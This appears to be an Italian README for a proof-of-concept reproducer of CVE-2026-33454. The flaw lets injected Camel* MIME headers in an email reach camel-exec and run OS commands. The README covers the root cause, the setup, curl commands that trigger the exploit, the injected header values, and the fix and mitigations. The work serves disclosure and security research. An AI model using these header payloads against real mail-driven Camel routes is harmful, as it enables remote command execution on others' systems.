
Reproducer per CVE-2026-33454: iniezione di header in Apache Camel camel-mail che porta a RCE tramite camel-exec
Questo progetto dimostra una vulnerabilità di iniezione negli header dei messaggi Camel nel componente camel-mail di Apache Camel, registrata come CVE-2026-33454. Un attaccante in grado di consegnare un'email a una casella di posta monitorata da un consumer di posta Camel può iniettare header di controllo Camel* nell'Exchange, ottenendo esecuzione remota di codice quando la route inoltra il messaggio a un producer sensibile agli header come camel-exec.
Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-33454.html
| Proprietà | Valore |
|---|---|
| Componente | camel-mail |
| Classe interessata | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Causa principale | La strategia di filtro configura solo la direzione OUT (setOutFilterStartsWith) e NON la direzione IN, quindi gli header MIME in entrata non vengono filtrati |
| CWE | CWE-20: Validazione impropria dell'input (iniezione negli header dei messaggi Camel) |
| Impatto | Esecuzione remota di codice (tramite producer sensibili agli header, es. camel-exec) |
| Versioni interessate | Dalla 3.0.0 alle versioni precedenti la 4.14.6, e dalla 4.15.0 alle versioni precedenti la 4.18.1 |
| Versioni corrette | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Segnalatore | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy estende DefaultHeaderFilterStrategy. Nelle versioni interessate, il suo costruttore configura solo il filtro out e non imposta mai il filtro in:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
Quando Camel consuma posta (es. from("imap://...") o from("pop3://...")), MailBinding.extractHeadersFromMail() copia ogni header MIME negli header In dell'Exchange, filtrati tramite headerFilterStrategy.applyFilterToExternalHeaders(...). Poiché il filtro in non viene mai configurato, gli header MIME con prefisso Camel* passano direttamente:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Un attaccante che può inviare email alla casella monitorata può quindi impostare header di controllo Camel* arbitrari. Quando la route inoltra a un producer sensibile agli header come camel-exec, gli header CamelExecCommandExecutable / CamelExecCommandArgs sovrascrivono il comando (rispettati di default nelle versioni interessate) → esecuzione arbitraria di comandi del sistema operativo.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
Un container GreenMail fornisce SMTP (3025) e IMAP (3143) con una singola casella di posta (login victim, password secret, indirizzo victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Avvia la route IMAP della vittima e un controller REST di supporto sulla porta 8080.
curl http://localhost:8080/exploit/normal
Il consumer la preleva ed esegue echo hello.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Consegna un'email i cui header MIME includono:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
Se /tmp/pwned esiste, l'header MIME iniettato ha sovrascritto il comando exec → RCE.
docker compose down # or: docker rm -f greenmail-cve
L'iniezione richiede solo un producer sensibile agli header a valle. L'advisory segnala camel-bean, camel-exec e camel-sql; più in generale:
CamelExecCommandExecutable / CamelExecCommandArgs → esecuzione di comandi del sistema operativoCamelFileName → scrittura arbitraria di file / path traversalCamelBeanMethodName → invocare un metodo diversoimap://, imaps://, pop3://, ...).removeHeaders("Camel*") tra il consumer di posta e quel producer.L'attaccante deve solo essere in grado di inviare un'email alla casella di posta monitorata.
La correzione (CAMEL-23222) configura anche il filtro in entrata:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
Fino all'aggiornamento:
.removeHeaders("Camel*") subito dopo from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.